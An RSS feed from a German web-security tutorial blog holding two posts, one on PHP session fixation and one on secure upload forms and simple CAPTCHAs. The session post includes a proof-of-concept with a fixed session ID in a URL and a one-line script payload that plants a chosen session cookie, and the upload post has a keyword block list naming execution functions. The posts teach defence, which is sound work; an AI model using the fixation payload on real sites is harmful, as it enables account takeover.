<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Web Tuts &#187; PHP</title>
	<atom:link href="http://www.web-tuts.de/kategorie/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.web-tuts.de</link>
	<description>Tutorials für neue und professionelle Webworker!</description>
	<lastBuildDate>Mon, 26 Jul 2010 17:26:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>PHP Session Sicherheit &#8211; Session Fixation</title>
		<link>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html</link>
		<comments>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html#comments</comments>
		<pubDate>Tue, 19 Jan 2010 17:31:06 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Hijacking]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=1131</guid>
		<description><![CDATA[
Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.
Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabh&#228;ngig voneinander betrachtet. Zudem k&#246;nnen Benutzer nicht eindeutig identifiziert werden.
F&#252;r diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung w&#228;hrend einer Session (Sitzung) speichern [...]]]></description>
			<content:encoded><![CDATA[<div class="postimg"><img src="http://www.web-tuts.de/images/posts/session-fixation.jpg" width="202" height="202" alt="Session Fixation" /></div>
<p>Eine Session (Sitzung) bezeichnet eine stehende Verbindung eines Clients mit einem Server.</p>
<p>Bei zustandslosen Protokollen wie HTTP gibt es keine stehenden Verbindungen. Jede Kommunikation eines Clients (Browser) zu einem Webserver wird unabh&#228;ngig voneinander betrachtet. Zudem k&#246;nnen Benutzer nicht eindeutig identifiziert werden.</p>
<p>F&#252;r diesen Zweck werden Sessions verwendet, die den Zustand einer Webanwendung w&#228;hrend einer Session (Sitzung) speichern k&#246;nnen und somit eine zusammenh&#228;ngende Kommunikation erm&#246;glichen.</p>
<p>Sessions sind aber nicht nur n&#252;tzlich, sondern auch ein beliebtes Ziel von Anfreifern. Es gibt verschiedene Angriffsmethoden. In diesem Artikel geht es um <strong>Session Fixation</strong>.</p>

<h2 class="headline">Sessions allgemein</h2>
<p><strong>Session Files</strong></p>
<p>Durch eine Session k&#246;nnen einem Benutzer Sitzungsdaten zugeordnet werden, die auf dem Server in sogenannte Session Files (tempor&#228;r) gespeichert werden.</p>
<p>Solche Sitzungsdaten werden von einer Webanwendung erstellt. In PHP werden diese Daten im superglobalen Array $_SESSION &#252;bertragen.</p>
<p><strong>Session-ID (SID)</strong></p>
<p>Die Authentifizierung findet w&#228;hrend einer Session &#252;ber die Session-ID statt. Die Session-ID ist also wie ein Passwort, das f&#252;r kurze Zeit g&#252;ltig ist.</p>
<p>Kennt ein Angreifer die Session-ID, kann er die aktuelle Sitzung &#252;bernehmen, indem sein Client (Browser) die selbe Session-ID zum Kommunizieren mit dem Webserver verwendet.</p>
<p>PHP erzeugt eine Session-ID mit einer L&#228;nge von 32 Zeichen. Das Erraten ist also praktisch unm&#246;glich und Brute-Force Attacken werden wahrscheinlich auch nicht gelingen.</p>
<p>Die Session-ID wird &#252;blicherweise in Cookies oder in der URL per GET-Parameter &#252;bertragen. Die &#220;bertragung per POST-Methode ist allerdings auch m&#246;glich.</p>
<h2 class="headline">Sessionverwaltung in PHP</h2>
<p>Zur Initialisierung einer Session wird in PHP die Funktion session_start() verwendet.</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();
  ...
?&gt;</code></pre>
<p>Wenn noch keine Session existiert, wird dem Client eine eindeutige Session-ID zugewiesen. Liefert der Client allerdings eine g&#252;ltige Session-ID mit, wird die aktuelle Session wieder aufgenommen!</p>
<blockquote><p>session_start() erzeugt eine Session oder nimmt die aktuelle wieder auf, die auf der Session-ID basiert, die mit einer Anfrage, z.B. durch GET, POST oder ein Cookie, &#252;bermittelt wurde. - Quelle: php.net</p></blockquote>
<p>Die Session-ID kann mit der Funktion session_id() ausgelesen werden.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  echo session_id();
?&gt;</code></pre>
<p>Mit unset() k&#246;nnen Session Variablen gel&#246;scht werden.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  unset($_SESSION[&#039;foo&#039;]);
?&gt;</code></pre>
<p>Mit session_destroy() werden alle aktuellen Sitzungsdaten gel&#246;scht.</p>
<pre class="prettyprint"><code>&lt;?php
  ...
  session_destroy();
?&gt;</code></pre>
<p>Bei php.net gibt es eine Liste mit weiteren <a href="http://de.php.net/manual/de/ref.session.php" target="_blank">Session Funktionen</a>.</p>
<h2 class="headline">Session Fixation</h2>
<p>Bei einer Session Fixation gibt ein Angreifer eine Session-ID vor und versucht diese fixierte Session-ID einem Benutzer unterzujubeln.</p>
<p>Der Vorteil von Angreifern ist, dass PHP jede beliebige &#252;bermittelte Session-ID akzeptiert.</p>
<p>In der folgenden Grafik wird veranschaulicht, wie die einfachste Form eines Session Fixation Angriffs aussieht. Hier wird die Session-ID in der URL &#252;bertragen.</p>
<p><img src="http://www.web-tuts.de/images/posts/session-fixation-diagramm.gif" width="528" height="449" alt="Session Fixation Angriff" /></p>
<p>Schauen wir uns die einzelnen Schritte etwas genauer an.</p>
<p><strong>1.</strong> Der Angreifer schickt eine pr&#228;parierte URL in Form eines Links an sein Opfer, die zu einem Loginbereich einer Online Banking Website f&#252;hrt, wo das Opfer registriert ist. In der URL befindet sich die fixierte Session-ID (1234).</p>
<p><strong>2.</strong> Das Opfer ruft den pr&#228;parierten Link auf. An dieser Stelle erkennt der Webserver bereits die Session-ID und weist sie einer Session zu.</p>
<p><strong>3.</strong> Das Opfer loggt sich mit seinen Logindaten ein.</p>
<p><strong>4.</strong> Der Angreifer ruft nun mit der selben Session-ID eine Seite des Loginbereichs auf. Der Webserver erkennt die g&#252;ltige Session-ID, die bereits einer Session zugewiesen ist. Die Webanwendung stellt fest, dass g&#252;ltige Sitzungsdaten existieren und es sich um den eingeloggten Benutzer "Max Mustermann" handelt. Der Angreifer ist nun also mit den Daten seines Opfers eingeloggt und kann mit dem Account anstellen, was er will.</p>
<h3>Proof-Of-Concept</h3>
<p>Folgendes Code-Beispiel soll das ganze praktisch demonstrieren. Hierzu sind folgende Einstellungen in der <em>php.ini</em> notwendig, damit die Session-ID in der URL &#252;bertragen wird.</p>
<pre class="prettyprint"><code>session.use_cookies = 0
session.use_only_cookies = 0
session.name = PHPSESSID</code></pre>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  if(!empty($_SESSION[&#039;userid&#039;]))
    echo &#039;Willkommen zurueck! ID: &#039; . $_SESSION[&#039;userid&#039;];
  else
  {
    $_SESSION[&#039;userid&#039;] = md5(uniqid(mt_rand(), true));
    echo &#039;&lt;p&gt;Du bist neu hier. Deine neue ID: &#039; . $_SESSION[&#039;userid&#039;] . &#039;&lt;/p&gt;&#039;;
    echo &#039;&lt;p&gt;Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;
  }
?&gt;</code></pre>
<p>Das ganze k&#246;nnen wir jetzt einfach mit zwei verschiedenen Browsern testen.</p>
<p>Browser1 = Opfer<br />
Browser2 = Angreifer</p>
<p>Zuerst wird die Session-ID vom Angreifer bestimmt.</p>
<pre class="srccode"><code>login.php?PHPSESSID=5678</code></pre>
<p>Nun rufen wir die URL in Browser1 auf.</p>
<pre class="srccode"><code>Du bist neu hier. Deine neue ID: 9eb47aed86421db352d3e2c7753c121b

Session-ID: 5678</code></pre>
<p>Rufen wir die URL erneut auf, werden wir identifiziert.</p>
<pre class="srccode"><code>Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b</code></pre>
<p>Wenn wir die URL nun mit der selben Session-ID (5678) in Browser2 aufrufen, werden wir ebenfalls identifiziert und erhalten die gleiche Ausgabe.</p>
<pre class="srccode"><code>Willkommen zurueck! ID: 9eb47aed86421db352d3e2c7753c121b</code></pre>
<p>Bei einem Loginscript w&#228;ren wir jetzt mit Browser2 eingeloggt.</p>
<h2 class="headline">Session-ID in der URL</h2>
<p>Werden Session-IDs in der URL &#252;bertragen, gibt es noch weitere Gefahren. Zum Beispiel die sogenannte <strong>Self Exploitation</strong>. Interessante Links werden gerne mal in Foren, Blogs, Twitter, etc. weitergegeben. Und was ist der einfachste Weg? Genau, die URL aus der Adresszeile kopieren. Jeder, der den Link aufruft, &#252;bernimmt die Session.</p>
<p>Sehr kritisch wird es, wenn andere Methoden (aus)genutzt werden. Zum Beispiel k&#246;nnte ein Angreifer <a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html">HTTP Weiterleitungen</a> in PHP Anwendungen (z.B. Foren) ausnutzen. Dann m&#252;sste er noch nicht einmal jemanden dazu bringen, die pr&#228;parierte URL aufzurufen.</p>
<h2 class="headline">Session-ID in Cookies</h2>
<p>Wenn die Session-ID in einem Cookie &#252;bertragen wird, ist Session Fixation ohne weiteres nicht m&#246;glich. Die Betonung liegt hier auf "ohne weiteres", denn mit einer einfachen XSS Sicherheitsl&#252;cke auf der Zielseite, sieht die Sache schon wieder anders aus.</p>
<p>Ein Angreifer k&#246;nnte durch injizierten JavaScript Code sein Opfer dazu bringen das entsprechende Cookie zu setzen.</p>
<pre class="prettyprint"><code>&lt;script&gt;document.cookie=&#039;PHPSESSID=1234&#039;;&lt;/script&gt;</code></pre>
<p>Das <a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html">Kombinieren von Sicherheitsl&#252;cken</a> kann sehr effektiv sein kann.</p>
<h2 class="headline">Gegenma&#223;nahmen</h2>
<p>Session Fixation ist im Gegensatz zu anderen Angriffsmethoden auf Sessions wie z.B. Session Hijacking ziemlich leicht zu verhindern.</p>
<p>Man k&#246;nnte das &#220;bermitteln der Session-ID per URL deaktivieren. Das geht ganz einfach, indem man den Wert von <em>session.use_only_cookies</em> in der <em>php.ini</em> auf 1 setzt.</p>
<p>Hat man kein Zugriff auf die <em>php.ini</em>, kann man das ganze auch im Script mit ini_set() regeln. Wichtig ist, dass das ganze vor dem Aufruf von session_start() geschieht.</p>
<pre class="prettyprint"><code>&lt;?php
  ini_set(&#039;session.use_only_cookies&#039;, 1);
  session_start();
  ...
?&gt;</code></pre>
<p>Das verhindert aber immer noch nicht Session Fixation, da (wie bereits erw&#228;hnt) mithilfe von anderen Sicherheitsl&#252;cken die Session-ID in einem Cookie injiziert werden kann.</p>
<h3>Session-ID Regenerierung</h3>
<p>Ein sicherer und effizienter Schutz gegen Session Fixation ist die Session-ID Regenerierung. Bei jeder Authentifizierung ersetzen wir die Session-ID durch eine neue.</p>
<p>Dazu wird die Funktion session_regenerate_id() verwendet.</p>
<blockquote><p>Die Funktion session_regenerate_id() ersetzt die aktuelle Session-ID durch eine neue und &#252;bernimmt die aktuellen Session-Informationen. - Quelle: php.net</p></blockquote>
<p>Der Angreifer schickt eine pr&#228;parierte URL mit einer fixierten Session-ID an sein "Opfer". Das "Opfer" loggt sich ein und erh&#228;lt eine <strong>neue Session-ID</strong>. Die alte, fixierte Session-ID ist f&#252;r den Angreifer somit nutzlos.</p>
<p>Bei erfolgreichem Login ersetzen wir also die Session-ID. Zudem sollten bei einem Logout immer alle Sitzungsdaten gel&#246;scht werden.</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  // fixierte Session-ID vom Angreifer:

  echo &#039;&lt;p&gt;Alte Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;

  // Login

  ...

  // wenn Login erfolgreich, neue Session-ID und Session Variable:

  if(empty($_SESSION[&#039;user&#039;]))
  {
    session_regenerate_id();
    echo &#039;&lt;p&gt;Neue Session-ID: &#039; . session_id() . &#039;&lt;/p&gt;&#039;;

    // Session Variable zur Identifikation eines eingeloggten Benutzers definieren:
    $_SESSION[&#039;user&#039;] = true;
  }

  // bei jedem Request &uuml;berpr&uuml;fen, ob es sich um einen eingeloggten Benutzer handelt:
  if(!empty($_SESSION[&#039;user&#039;]))
  {
    // Benutzer ist eingeloggt, da die Session Variable existiert!
    ...
  }

  // Logout:
  session_destroy();
?&gt;</code></pre>
<p>Das war's soweit f&#252;r den ersten Teil zum Thema Session Sicherheit in PHP.</p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sicherheitsluecken-kombinieren.html" rel="bookmark" title="Permanent Link: Sicherheitsl&#252;cken kombinieren">Sicherheitsl&#252;cken kombinieren</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/about/" rel="bookmark" title="Permanent Link: &#220;ber Web-Tuts.de">&#220;ber Web-Tuts.de</a></li><li><a href="http://www.web-tuts.de/css-history-hacks-auslesen-von-besuchten-webseiten.html" rel="bookmark" title="Permanent Link: CSS History Hacks &#8211; Auslesen von besuchten Webseiten">CSS History Hacks &#8211; Auslesen von besuchten Webseiten</a></li><li><a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/" rel="bookmark" title="Permanent Link: Bulletproof Contact Form">Bulletproof Contact Form</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/php-session-sicherheit-session-fixation.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/php-session-sicherheit-session-fixation.html/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Sichere Formulare &#8211; Teil 2</title>
		<link>http://www.web-tuts.de/sichere-formulare-teil-2.html</link>
		<comments>http://www.web-tuts.de/sichere-formulare-teil-2.html#comments</comments>
		<pubDate>Wed, 30 Dec 2009 06:40:38 +0000</pubDate>
		<dc:creator>Maik</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Security]]></category>
		<category><![CDATA[Captcha]]></category>
		<category><![CDATA[Formulare]]></category>
		<category><![CDATA[Uploads]]></category>

		<guid isPermaLink="false">http://www.web-tuts.de/?p=849</guid>
		<description><![CDATA[In zweiten Teil des Artikels &#252;ber sichere Formulare geht es um File Uploads und CAPTCHAs. Au&#223;erdem wird ein fertiges Formular-Script zum Download bereitgestellt, das ihr uneingeschr&#228;nkt auf eurer eigenen Website verwenden k&#246;nnt. 

Schutz vor Uploads von unerw&#252;nschten Dateien
Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, [...]]]></description>
			<content:encoded><![CDATA[<p>In zweiten Teil des Artikels &#252;ber <a href="http://www.web-tuts.de/sichere-formulare-teil-1.html">sichere Formulare</a> geht es um File Uploads und CAPTCHAs. Au&#223;erdem wird ein fertiges Formular-Script zum Download bereitgestellt, das ihr uneingeschr&#228;nkt auf eurer eigenen Website verwenden k&#246;nnt. </p>

<h2 class="headline">Schutz vor Uploads von unerw&#252;nschten Dateien</h2>
<p>Bei Upload-Formularen sollte man besonders auf eine ausreichende Validierung achten. Angreifer versuchen oft eigene Scripte (z.B. Webshells) hochzuladen, mit denen sie Kontrolle &#252;ber Dateien auf dem Webserver erlangen k&#246;nnen.</p>
<p>In dem Artikel &#252;ber <a href="http://www.web-tuts.de/advanced-local-und-remote-file-inclusion.html">Local / Remote File Inclusion</a> habe ich bereits gezeigt, wie versierte Angreifer eigenen Code injizieren k&#246;nnen. Bei einem ungesch&#252;tzten Upload-Formular haben es (auch unerfahrene) Angreifer viel leichter, da sie gar nichts injizieren brauchen.</p>
<p>Hierzu ein kleines Beispiel (basierend auf dem Basis-Formular - siehe Teil 1).</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  if(move_uploaded_file($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;uploads/&#039; . basename($_FILES[&#039;datei&#039;][&#039;name&#039;])))
    echo &#039;Die Datei wurde erfolgreich hochgeladen.&#039;;
?&gt;</code></pre>
<p>Die Funktion move_uploaded_file() erm&#246;glicht den Upload. Als zweiter Parameter wird das Verzeichnis und der Dateiname angegeben, wo die Datei hin verschoben werden soll. In diesem Fall im Verzeichnis uploads/ unter dem selben Dateinamen.</p>
<p><em>Hinweis: Das angegebe Verzeichnis muss ausreichende Schreibrechte haben.</em></p>
<p>Da hier keine &#220;berpr&#252;fung stattfindet, k&#246;nnen beliebige Dateien hochgeladen werden. Um das zu verhindern, m&#252;ssen wir erstmal wissen, welche Dateien &#252;berhaupt hochgeladen werden sollen. Bilder? Archive? Textdateien? Au&#223;erdem stellt sich die Frage, was mit den hochgeladenen Dateien angestellt werden soll. Sind sie im Web erreichbar oder werden sie irgendwo au&#223;erhalb des Document Roots auf dem Server gespeichert? Oder werden sie nur tempor&#228;r gespeichert und als Dateianhang per E-Mail verschickt?</p>
<p>In diesem Beispiel sollen auschlie&#223;lich Bilder hochgeladen werden, die anschlie&#223;end auf einer Webseite dargestellt werden.</p>
<h3>Maximale Dateigr&#246;&#223;e &#252;berpr&#252;fen / bestimmen</h3>
<p>Als erstes &#252;berpr&#252;fen wir die erlaubte Dateigr&#246;&#223;e. Dazu schauen wir uns den Wert der Direktive <em>upload_max_filesize</em> in der Konfigurationsdatei <em>php.ini</em> an. Wer keinen Zugriff auf diese Datei hat, kann den Wert auch einfach mit PHP ausgeben lassen:</p>
<pre class="prettyprint"><code>&lt;?php
  echo ini_get(&#039;upload_max_filesize&#039;)
?&gt;</code></pre>
<p>Standardm&#228;&#223;ig sind 2 MB erlaubt (<em>upload_max_filesize = 2M</em>). 2 MB sind f&#252;r Bilder denke ich mal okay. Ist dort ein h&#246;herer Wert angegeben, sollte man ihn &#228;ndern und wer keinen Zugriff auf die <em>php.ini</em> hat, sollte das ganze per .htaccess realisieren:</p>
<pre class="prettyprint"><code>php_value upload_max_filesize 2M</code></pre>
<h3>Dateiendung &#252;berpr&#252;fen</h3>
<p>Als n&#228;chstes &#252;berpr&#252;fen wir die Dateiendung. Da wir wissen, welche Dateiendungen Bilder haben, k&#246;nnen wir eine White-List mit erlaubten Dateiendungen erstellen.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $erlaubt = array(&#039;.jpg&#039;, &#039;.jpeg&#039;, &#039;.gif&#039;, &#039;.png&#039;);
  $dateiendung = strtolower(strrchr($_FILES[&#039;datei&#039;][&#039;name&#039;], &#039;.&#039;));
  if(!in_array($dateiendung, $erlaubt))
    die(&#039;Ungueltiges Dateiformat! Erlaubte Dateiformate: JPG, GIF, PNG&#039;);
?&gt;</code></pre>
<h3>Dateiinformationen &#252;berpr&#252;fen</h3>
<p>Nun &#252;berpr&#252;fen wir noch, ob es sich um ein valides Bild handelt. Dazu eignet sich die Funktion getimagesize() - auch wenn diese nicht zu 100% zuverl&#228;ssig ist.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  if(!getimagesize($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;]))
    die(&#039;Ungueltiges Dateiformat!&#039;);
?&gt;</code></pre>
<p>Au&#223;erdem &#252;berpr&#252;fen wir den Inhalt der Datei, um evtl. Code Injection zu entdecken. Dies dient nur als zus&#228;tzlicher Schutz, um Angreifern die Ausnutzung von anderen Sicherheitsl&#252;cken (z.B. LFI) zu erschweren.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $file = fopen($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;rb&#039;);
  $contents = fread($file, filesize($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;]));
  fclose($file);

  $check = array(&#039;&lt;script&#039;, &#039;javascript:&#039;, &#039;&lt;?php&#039;, &#039;$_GET&#039;, &#039;$_POST&#039;, &#039;$_COOKIE&#039;, &#039;$_SERVER&#039;, &#039;$HTTP&#039;, &#039;system(&#039;, &#039;exec(&#039;, &#039;passthru&#039;, &#039;eval(&#039;, &#039;&lt;input&#039;, &#039;&lt;frame&#039;, &#039;&lt;iframe&#039;, &#039;http://&#039;);
  foreach($check as $chk)
    if(strpos($contents, strtolower($chk)) !== false)
      die(&#039;Code Injection erkannt!&#039;);
?&gt;</code></pre>
<h3>Eindeutige Dateinamen vergeben</h3>
<p>Nachdem wir alles validiert haben, k&#246;nnen wir nun die move_uploaded_file() Funktion verwenden, um die tempor&#228;re Datei in unser gew&#252;nschtes Verzeichnis zu verschieben.</p>
<p>Um zu verhindern, dass vorhandene Dateien mit dem selben Dateinamen &#252;berschrieben werden, geben wir der hochgeladenen Datei einen generierten und eindeutigen Dateinamen. Das k&#246;nnen wir mit uniqid() erledigen. Und um auf nummer sicher zu gehen, verwenden wir noch mt_rand() und verschl&#252;sseln das ganze mit md5().</p>
<p>F&#252;r die Dateiendung verwenden wir die zuvor definierte Variable $dateiendung.</p>
<pre class="prettyprint"><code>&lt;?php
  //...
  $dateiname = md5(uniqid(mt_rand(), true)) . $dateiendung;
  if(move_uploaded_file($_FILES[&#039;datei&#039;][&#039;tmp_name&#039;], &#039;uploads/&#039; . $dateiname))
    echo &#039;Die Datei wurde erfolgreich hochgeladen.&#039;;
  else
    die(&#039;Fehler beim Hochladen der Datei!&#039;);
?&gt;</code></pre>
<p>Wer f&#252;r den Upload den selben Dateinamen verwenden will und in der Funktion move_uploaded_file() die Variable $_FILES['datei']['name'] nutzt, sollte unbedingt (wie im ersten Code-Beispiel zu sehen ist) die Funktion basename() verwenden, da ansonsten eine kritische Sicherheitsl&#252;cke entsteht. Angreifer k&#246;nnten wichtige, vorhandene Dateien in anderen Verzeichnissen &#252;berschreiben.</p>
<h2 class="headline">Schutz vor Spam und DoS - CAPTCHAs</h2>
<p><a href="http://de.wikipedia.org/wiki/CAPTCHA" target="_blank">CAPTCHAs</a> werden zum Schutz vor Spambots und <a href="http://de.wikipedia.org/wiki/Denial_of_Service" target="_blank">Denial of Service (DoS)</a> Angriffen verwendet. Wie man sowas in PHP realisiert werde ich in einem eigenen Artikel genauer erkl&#228;ren. An dieser Stelle m&#246;chte ich nur einmal auf Google's <a href="http://recaptcha.net/" target="_blank">reCAPTCHA</a> hinweisen.</p>
<h3>Rechenaufgaben und Fragen als Alternative</h3>
<p>Oft reicht es auch aus, normale Rechenaufgaben oder einfache Fragen zu verwenden.</p>
<p>Das k&#246;nnte z.B. so aussehen:</p>
<pre class="prettyprint"><code>&lt;?php
  session_start();

  function newSession()
  {
    $_SESSION[&#039;zahl1&#039;] = mt_rand(1, 100);
    $_SESSION[&#039;zahl2&#039;] = mt_rand(1, 100);
    $_SESSION[&#039;ergebnis&#039;] = $_SESSION[&#039;zahl1&#039;] + $_SESSION[&#039;zahl2&#039;];
  }

  if(!isset($_SESSION[&#039;ergebnis&#039;]))
    newSession();

  //...
  if(isset($_POST[&#039;code&#039;]))
  {
    if((int)$_POST[&#039;code&#039;] != $_SESSION[&#039;ergebnis&#039;] ||
       strpos($_POST[&#039;code&#039;], &#039;.&#039;) !== false ||
       !is_numeric($_POST[&#039;code&#039;]) || is_array($_POST[&#039;code&#039;]))
    {
      echo &#039;Falsches Ergebnis!&#039;;
      unset($_SESSION[&#039;zahl1&#039;]);
      unset($_SESSION[&#039;zahl2&#039;]);
      unset($_SESSION[&#039;ergebnis&#039;]);
      newSession();
    }

    else
    {
      echo &#039;Richtig!&#039;;
      session_destroy();
      // Daten verarbeiten
      exit;
    }
  }

  $rechenaufgabe = $_SESSION[&#039;zahl1&#039;] . &#039; + &#039; . $_SESSION[&#039;zahl2&#039;] . &#039; = &#039;;
?&gt;

&lt;form action=&quot;&quot; method=&quot;post&quot;&gt;
  &lt;?php echo $rechenaufgabe; ?&gt;&lt;input type=&quot;text&quot; name=&quot;code&quot; maxlength=&quot;3&quot; /&gt;
  &lt;input type=&quot;submit&quot; name=&quot;form&quot; value=&quot;Daten absenden&quot; /&gt;
&lt;/form&gt;</code></pre>
<p>Nat&#252;rlich w&#228;r es sinnvoll hier noch eine IP-Sperre nach x gescheiterten Versuchen einzubauen, da Spambots mit normalen Rechenaufgaben keine Probleme haben sollten. Allerdings kann man die Rechenaufgabe auch in Unicode oder mit JS ausgeben <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<pre class="prettyprint"><code>&lt;?php
  function unicode($ascii)
  {
    $unicode = &#039;&#039;;
    for($i = 0; $i &lt; strlen($ascii); $i++)
      $unicode .= &#039;&amp;#&#039; . ord(substr($ascii, $i, 1)) . &#039;;&#039;;

    return $unicode;
  }

  //...

  $rechenaufgabe = $_SESSION[&#039;zahl1&#039;] . &#039; + &#039; . $_SESSION[&#039;zahl2&#039;] . &#039; = &#039;;
  $rechenaufgabe = unicode($rechenaufgabe);

  //...
?&gt;</code></pre>
<p>Aus <strong style="background-color:#c4c4c4;padding:1px;">55 + 52 =&nbsp;</strong> wird dann folgendes.</p>
<pre class="srccode"><code>&amp;#53;&amp;#53;&amp;#32;&amp;#43;&amp;#32;&amp;#53;&amp;#50;&amp;#32;&amp;#61;&amp;#32;</code></pre>
<p>Auch wenn ein richtiges CAPTCHA um einiges sicherer ist, reichen solche einfachen Alternativen meiner Erfahrung nach meistens aus.</p>
<h2 class="headline">Fertiges Kontaktformular - einfach und sicher</h2>
<p>Wie versprochen habe ich ein fertiges Script geschrieben, das ihr euch <a href="http://www.web-tuts.de/downloads/bulletproof-contact-form/">hier downloaden</a> k&#246;nnt. Das ganze sieht ungef&#228;hr so aus:</p>
<p><img src="http://www.web-tuts.de/images/posts/kontaktformular.gif" width="464" height="462" alt="Kontaktformular" /></p>
<p>Es ist nur eine Datei und l&#228;uft ohne Datenbank. Das Formular kann bequem mit einer PHP Include-Funktion in einer Webseite eingebunden werden.</p>
<p>Das einzige, das ihr an dem Script &#228;ndern m&#252;sst, ist eure E-Mail Adresse und wenn ihr wollt den Betreff der E-Mail.</p>
<pre class="prettyprint"><code>&lt;?php
  define(&#039;EMPFAENGER&#039;, &#039;empfaenger@example.com&#039;); // Deine E-Mail Adresse
  define(&#039;BETREFF&#039;, &#039;Neue Nachricht - Kontaktformular&#039;); // Betreff der E-Mail
?&gt;</code></pre>
<p>Ich erstelle bald eine Download Seite, da gibt's dann nochmal ne ausf&#252;hrliche Beschreibung. Ansonsten einfach hier per Kommentar melden <img src='http://www.web-tuts.de/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<hr /><h3>Auch interessant:</h3><ul><li><a href="http://www.web-tuts.de/sichere-formulare-teil-1.html" rel="bookmark" title="Permanent Link: Sichere Formulare &#8211; Teil 1">Sichere Formulare &#8211; Teil 1</a></li><li><a href="http://www.web-tuts.de/10-mythen-zum-thema-web-security.html" rel="bookmark" title="Permanent Link: 10 Mythen zum Thema Web Security">10 Mythen zum Thema Web Security</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-2-phishing.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 2 &#8211; Phishing">Content-Spoofing &#8211; Teil 2 &#8211; Phishing</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-1-javascript.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 1 &#8211; JavaScript">Content-Spoofing &#8211; Teil 1 &#8211; JavaScript</a></li><li><a href="http://www.web-tuts.de/content-spoofing-teil-3-http-redirects.html" rel="bookmark" title="Permanent Link: Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects">Content-Spoofing &#8211; Teil 3 &#8211; HTTP Redirects</a></li></ul><hr />Danke f&uuml;r das Abonnieren und Lesen meines Feeds. Ich freue mich auf eure <a href="http://www.web-tuts.de/sichere-formulare-teil-2.html#comments">Kommentare</a> !<hr /><strong>Tipp:</strong> Bei <a href="http://twitter.com/web_tuts">Twitter</a> ver&ouml;ffentliche ich interessante Links und News.<hr /><small>Copyright &copy; 2010 <a href="http://www.web-tuts.de">Web-Tuts.de</a><br /> Dieser Feed ist ausschlie&szlig;lich nur f&uuml;r den privaten, nicht gewerblichen Gebrauch bestimmt.<br />Eine Verwendung dieses Feeds auf anderen Webseiten verst&ouml;&szlig;t gegen das Urheberrecht.<br />(Digitaler Fingerprint:  4377289542f8221557cc9843d0a093aa)</small>]]></content:encoded>
			<wfw:commentRss>http://www.web-tuts.de/sichere-formulare-teil-2.html/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Sichere Formulare &#8211; Teil 1</title>
		<link>http://www.web-tuts.de/sichere-formulare-teil-1.html</link>
